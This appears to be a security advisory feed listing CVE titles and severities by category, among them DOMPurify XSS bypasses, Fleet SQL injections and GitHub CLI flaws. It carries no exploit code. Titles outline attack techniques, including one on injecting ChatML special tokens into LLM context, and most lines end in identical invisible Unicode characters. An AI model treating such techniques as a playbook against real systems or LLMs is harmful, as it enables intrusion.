• CVE-2026-44981: CrowdSec LAPI: Denial of Service via Unbounded Gzip Decompression (affects >= 1.7.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Data Security & DLP · 2026-11-02

• CVE-2026-33472: Bypass of CVE-2026-32303 fix: getAuthority() port-based scheme confusion allows HTTP downgrade of Hub token exchange (CVSS 4.8, affects = 1.19.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Data Security & DLP · 2026-11-02

• CVE-2026-32310: Unverified masterkeyfile key IDs can access arbitrary local or UNC paths (CVSS 4.1, affects >= 1.6.0, <= 1.19.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Data Security & DLP · 2026-11-02

• CVE-2026-32303: Tampered vault configuration allows MITM attack on Hub API (CVSS 7.6, affects < 1.19.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Data Security & DLP · 2026-11-02

• CVE-2026-32309: Hub unlocking accepts plaintext HTTP and unvalidated endpoint schemes (CVSS 7.5, affects <= 1.19.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Data Security & DLP · 2026-11-02

• CVE-2023-39520: MSI installer allows Local Elevation of Privileges #2 (CVSS 7.8, affects <=1.9.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2025-64518: BOM validation is vulnerable to XML External Entity injection (CVSS 7.5, affects <11.0.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2024-38374: Improper Restriction of XML External Entity Reference in org.cyclonedx:cyclonedx-core-java (CVSS 7.5, affects >= 2.1.0, < 9.0.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-45088: Unauthenticated Arbitrary File Read with Out-of-Band Exfiltration via custom-payload-file in Dalfox Server Mode (CVSS 7.5, affects <= 2.12.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-45090: Unauthenticated Remote DoS via Closed-Channel Write in ParameterAnalysis (server mode) (CVSS 7.5, affects <= 2.12.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

AI-Powered Offensive Security · 2026-11-02

• CVE-2026-61732: Role-boundary forgery via ChatML special-token literals in web crawl output composed into LLM context (CVSS 10.0, affects <= 1.1.16)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Code Security · 2026-11-02

• CVE-2026-25729: User Enumeration via Broken Access Control (CVSS 6.5, affects <=3.0.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2025-61776: Possible disclosure of private NuGet repository credentials to api.nuget.org (CVSS 4.7, affects < 4.13.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2025-27137: Local file inclusion via custom notification templates (CVSS 4.4, affects < 4.12.6)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2024-54002: Enumeration of managed users via /api/v1/user/login endpoint (CVSS 5.3, affects < 4.12.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2024-38515: Possible XML External Entity injection via upload of CycloneDX BOMs in XML format (CVSS 5.4, affects >= 3.6.0, < 4.11.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2022-39351: Logging of API keys in clear text when handling API requests using keys with insufficient permissions (CVSS 4.4, affects < 4.6.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Digital Forensics & Incident Response · 2026-11-02

• CVE-2026-11958: Local privilege escalation via DLL side-loading when executed as SYSTEM or from a user-writable directory (affects <10.2.8)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2025-62725: Path Traversal via OCI Artifact Layer Annotations (affects < v2.40.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-49978: DOMPurify IN_PLACE Sanitization Bypass via Attached Shadow Root Inside <template>.content (CVSS 6.1, affects <3.4.6)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-49459: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM (CVSS 6.1, affects <= 3.4.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-49458: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound instanceof checks (CVSS 6.1, affects <= 3.4.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-47423: DOMPurify XSS via selectedcontent re-clone (CVSS 8.2, affects 3.4.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-41240: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix) (CVSS 6.1, affects <= 3.2.6)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-41239: Dompurify SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode (CVSS 6.8, affects < 3.3.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-41238: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback (CVSS 6.9, affects 3.0.1 through 3.3.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2024-48910: Tampering by prototype polution (CVSS 9.1, affects < 2.4.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2024-47875: nesting-based mXSS (CVSS 10.0, affects <2.5.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Network Analysis & Monitoring · 2026-11-02

• CVE-2024-24790: ecapture docker images CVE-2024-24790⁠ (CVSS 9.8, affects >=1.22.0-0,<1.22.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

IDS / IPS · 2026-11-02

• CVE-2021-32749: Possible RCE vulnerability in mailing action using mailutils (mail-whois) (CVSS 8.1, affects <= 9.7, <= 10.6, <= 11.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Cloud Runtime Security · 2026-11-02

• CVE-2022-26316: TOCTOU issue that could lead to rule bypass (affects <0.31.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Web Application Security · 2026-11-02

• CVE-2026-73232: ffuf denial of service (OOM) via HTTP response decompression bomb (CVSS 7.5, affects <= 2.1.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Management (UEM/RMM) · 2026-11-02

• CVE-2026-103264: Unauthenticated iOS/iPadOS device API access via non-secret host identifiers (CVSS 9.1, affects < 4.87.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Management (UEM/RMM) · 2026-11-02

• CVE-2026-48786: Observer-class users can view team enroll secrets and credential-bearing configuration via target search endpoint (CVSS 6.5, affects < 4.87.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Management (UEM/RMM) · 2026-11-02

• CVE-2026-54245: SQL injection in Okta conditional access policy evaluation allows an enrolled host to compromise the Fleet database (affects < 4.86.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Management (UEM/RMM) · 2026-11-02

• CVE-2026-41262: Cross-Team Policy Data Exposure via Global Policy Read Endpoint (CVSS 4.3, affects < 4.85.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Management (UEM/RMM) · 2026-11-02

• CVE-2026-46371: Observer-level enrollment secret extraction via ORDER BY oracle on Apple MDM commands endpoint (CVSS 6.5, affects <= 4.84.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Management (UEM/RMM) · 2026-11-02

• CVE-2026-46356: IP spoofing allows bypassing API rate limiting (CVSS 7.5, affects < 4.80.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Management (UEM/RMM) · 2026-11-02

• CVE-2026-26191: OS command injection in software packages (CVSS 9.8, affects < 4.81.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Management (UEM/RMM) · 2026-11-02

• CVE-2026-34391: Windows MDM cross-device command disclosure (CVSS 7.5, affects < 4.81.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Management (UEM/RMM) · 2026-11-02

• CVE-2026-34388: Denial of Service via unhandled gRPC log type in launcher endpoint (CVSS 7.5, affects < 4.81.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Management (UEM/RMM) · 2026-11-02

• CVE-2026-29180: Team maintainer can transfer hosts from any team via missing source team authorization (CVSS 8.8, affects < 4.81.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Management (UEM/RMM) · 2026-11-02

• CVE-2026-34386: SQL injection in MDM bootstrap package by authenticated team or global admin (CVSS 8.8, affects < 4.81.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Management (UEM/RMM) · 2026-11-02

• CVE-2026-34385: Second-order SQL injection in Fleet's Apple MDM profile delivery can compromise the database (CVSS 8.1, affects < 4.81.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2026-100504: Out-of-bounds read and write in leftshift128 during decompilation (CVSS 6.1, affects < 12.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2026-100503: Heap-use-after-free in the opInsertAfter via a stale INDIRECT effect-op reference (CVSS 6.1, affects < 12.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2026-100505: Heap out-of-bounds read in decompiler StringManager::getCodepoint() when reconstructing constant strings (CVSS 4.4, affects < 12.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2026-96273: Improper Array Index Validation in DB Unregistered Options parsing Leads to unreleased lock and Denial of Service (CVSS 5.5, affects < 12.1.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

AI Red Teaming & Testing · 2026-11-02

• CVE-2026-40319: Regular Expression Denial of Service (ReDoS) in RegexMatching Check (CVSS 5.5, affects <= 1.0.1b1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

AI Red Teaming & Testing · 2026-11-02

• CVE-2026-40320: Unsandboxed Jinja2 Template Rendering in ConformityCheck (CVSS 7.8, affects <= 1.0.1b1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

AI Red Teaming & Testing · 2026-11-02

• CVE-2026-34172: Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment (CVSS 8.8, affects <= 0.3.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

AI Red Teaming & Testing · 2026-11-02

• CVE-2024-52524: ReDoS in Giskard Scan text perturbation (affects <= 2.15.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-72924: gh codespace ports forward exposes forwarded services on all network interfaces by default (affects >=v2.28.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-64655: Attestation verification bypass via unescaped regex metacharacters in SAN matching (affects <=2.96.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-64653: Unescaped variable components in request URLs could allow path traversal in GitHub CLI (affects <=v2.96.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-64654: Terminal escape sequence injection in multiple gh commands (affects <= v2.96.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-59831: Connecting to a malicious Codespace via gh codespace jupyter could allow command execution on the user's computer (CVSS 4.4, affects >= v2.10.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-48501: Incorrect authorization header in API requests to TUF repository mirrors via gh attestation, gh release verify, and gh release verify-asset commands (CVSS 7.4, affects <= v2.92.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2025-25204: gh attestation verify returns incorrect exit code during verification when predicate types mismatch (CVSS 6.3, affects >= v2.49.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2024-54132: Downloading malicious GitHub Actions workflow artifact results in path traversal vulnerability (affects <= 2.63.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2024-53858: Recursive repository cloning can leak authentication tokens to non-GitHub submodule hosts (CVSS 6.5, affects <= 2.62.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2026-24686: go-tuf TAP 4 multirepo repoName path traversal escapes local metadata cache directory (CVSS 4.7, affects <= 2.4.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2026-23992: Improper validation of configured threshold for delegations (CVSS 5.9, affects < v2.3.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2026-23991: Client DoS via malformed server response (CVSS 5.9, affects < v2.3.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2024-47534: Incorrect delegation lookups can make go-tuf download the wrong artifact (affects <=v2.0.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2022-29173: No protection against rollback attacks for roles other than root (CVSS 8.8, affects v0.2.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-114518: Unauthenticated attackers can bypass basic auth via the ConPtyShell route exemption (CVSS 9.8, affects >= 2.1.1, <= 2.1.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-114504: goshs --no-delete/--upload-only bypass: PUT/POST overwrite of existing files destroys contents (HTTP and WebDAV) (CVSS 9.1, affects <= 2.1.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-66063: Path Traversal (CVSS 6.5, affects <= 2.1.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-69190: Manager-to-Owner privilege escalation on saved searches and dashboards (CVSS 6.3, affects >= 6.3.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-55425: System Catalog titles endpoint can be used to retrieve values of protected database fields (CVSS 5.0, affects 7.1.0 - 7.1.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-55841: Fortigate syslog message parser can be exploited to modify or delete fields from the original message (CVSS 7.5, affects < 6.3.12, < 7.0.7, < 7.1.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2026-55867: Graylog token revocation endpoint allows authenticated users to delete other users’ access tokens (affects >=6.2.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2025-53106: Privilege escalation through API tokens (CVSS 8.8, affects >=6.2.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2025-46827: Session Takeover via Insufficient HTML Sanitization (CVSS 8.0, affects <= 6.0.13, <= 6.1.9)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2025-30373: Authenticated HTTP inputs do ingest message even if Authorization header is missing or has wrong value (CVSS 6.5, affects >= 6.1.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2024-52506: Concurrent PDF report rendering can leak other users' reports (CVSS 6.5, affects 6.1.0, 6.1.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2024-24823: Session fixation vulnerability through cookie injection (CVSS 5.7, affects 4.3.0 - 5.2.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2024-24824: Instantiation of arbitrary classes triggered by API request (CVSS 8.8, affects >= 2.0.0, <=5.2.3)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-02

• CVE-2023-41045: Insecure source port usage for DNS queries (CVSS 5.3, affects <= 5.1.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2025-65965: Credential disclosure vulnerability in Grype JSON output (affects < 0.104.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2023-25566: Memory leak when parsing usernames (CVSS 7.5, affects <= 1.1.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2023-25567: Out-of-bounds read when decoding target information (CVSS 7.5, affects <= 1.1.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2026-44971: Blind GitHub URL rewrite in remote project scanning causes SSRF and GH_TOKEN exfiltration (CVSS 8.2, affects >= 1.0.0, <= 2.9.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2026-44972: Unsanitized human-readable scan output allows terminal escape injection from malicious package content (CVSS 5.0, affects >= 2.6.0, <= 2.9.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2026-22871: Path Traversal Vulnerability Leads to Arbitrary File Overwrite and RCE (CVSS 9.8, affects 2.7.0 and below)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2026-22870: Zip Bomb Vulnerability in safe_extract() Allows DoS (CVSS 7.5, affects 2.7.0 and below)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Software Supply Chain Security · 2026-11-02

• CVE-2022-23530: Arbitrary file write when scanning a specially-crafted remote PyPI package (CVSS 5.8, affects <v0.1.7)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

AI-Powered Offensive Security · 2026-11-02

API surface changed: +13 endpoints⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds new pentests endpoints: DELETE /pentests/{id}, PATCH /pentests/{id}, POST /pentests, POST /pentests/{id}/estimate, POST /pentests/{id}/login-checks, and POST /pentests/{id}/start.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• New endpoint GET /credits
• New endpoint GET /findings/counts

Network Analysis & Monitoring · 2026-11-02

• CVE-2025-48056: Character injection in Hubble CLI (CVSS 5.3, affects < v1.17.2)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

AI Red Teaming & Testing · 2026-11-02

• CVE-2026-102652: Credential leak to attacker-controlled host via redirect in humanbound (affects < 2.7.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

HyperDbg adds Linux host support, letting practitioners debug a Windows guest over serial from a Linux machine⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• HyperDbg now accepts device and socket paths in the .debug command on Linux, enabling serial connections over termios devices and UNIX sockets.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• HyperDbg now supports running as a Linux host to debug a Windows guest machine over a serial kernel debugger connection.
• HyperDbg's hyperevade module now handles XSETBV instructions to improve anti-detection coverage.

Container & Image Security · 2026-11-02

• CVE-2026-53941: Uprobe gadgets: unprivileged container's ld.so.cache causes high CPU utilization and container startup DoS (affects >= v0.27.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-44778: Unprivileged container can crash USDT note parser via crafted ELF (no shipped gadget affected) (affects >= v0.28.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-31890: Tracing Denial of Service via Event Flooding (CVSS 5.5, affects <v0.50.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-25996: Unsanitized ANSI Escape Sequences In columns Output Mode (CVSS 9.8, affects <=v0.49.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Container & Image Security · 2026-11-02

• CVE-2026-24905: Command Injection in Makefile.build (CVSS 7.8, affects <v0.51.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Threat Intelligence · 2026-11-02

API surface changed: +2 endpoints, 11 modified⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• New endpoint GET /cve/attribution⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• New endpoint GET /cve/resolve

Reverse Engineering · 2026-11-02

• CVE-2026-42049: RCE Via Groovy Code Injection in Gradle Export (affects <= 1.5.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2026-54684: XAPK archive entries with absolute paths can plant drop-in plugins and achieve code execution on the next jadx run (CVSS 7.0, affects v1.5.2 through v1.5.5)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2024-32653: Insufficient input filtering of package name allows command execution in the device with shell privileges (CVSS 6.1, affects <=1.4.7)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2022-39259: Jadx-gui: Swing HTML DOS attack (CVSS 5.5, affects <= 1.4.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-02

• CVE-2021-22569: Vulnerable library protobuf-java 3.11.4 (CVSS 5.5, affects 3.11.4)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Endpoint Management (UEM/RMM) · 2026-11-02

Jamf Pro adds declarative Mac app deployment via the App Lifecycle Management Engine (ALME), eliminating manual repackaging for third-party apps⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Deploy and automatically update non-App Store Mac apps by declaring them in blueprints through the App Lifecycle Management Engine (ALME), with apps downloaded directly from vendors over TLS with checksum and signature verification before install.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Control when app updates download and install using maintenance windows, with default notifications alerting users when an update waits for an app to close.
• Jamf Pro 11.33.0 automatically delivers Full Disk Access for ALME via a Privacy Preferences Policy Control (PPPC) profile for Self Service+, enabling updates to apps stored in Desktop, Documents, and Downloads folders.

General Utilities & Libraries · 2026-11-02

• CVE-2026-105786: Unauthenticated account takeover via an attacker-chosen application-authorisation identifier (affects <= 3.7.1)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-105785: Password reset accepts any valid per-user token including CSRF tokens and email-confirmation tokens because the token store has no purpose/type field, enabling full account takeover from a leaked CSRF token or a scanned confirmation-email link (CVSS 4.8, affects 3.7.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-105783: Any website open in the browser can trigger and win Joplin's Web Clipper pairing dialog, stealing the permanent full-access API token, because the local server has no Origin/Referer restriction and the confirmation dialog shows no identifying information (CVSS 8.0, affects 3.7.0)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

• CVE-2026-105784: Whiteboard note content is rendered into the main application document, bypassing the note-viewer origin isolation and allowing CSS injection with a remote-controlled exfiltration channel (CVSS 4.6, affects current dev)⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

General Utilities & Libraries · 2026-11-02

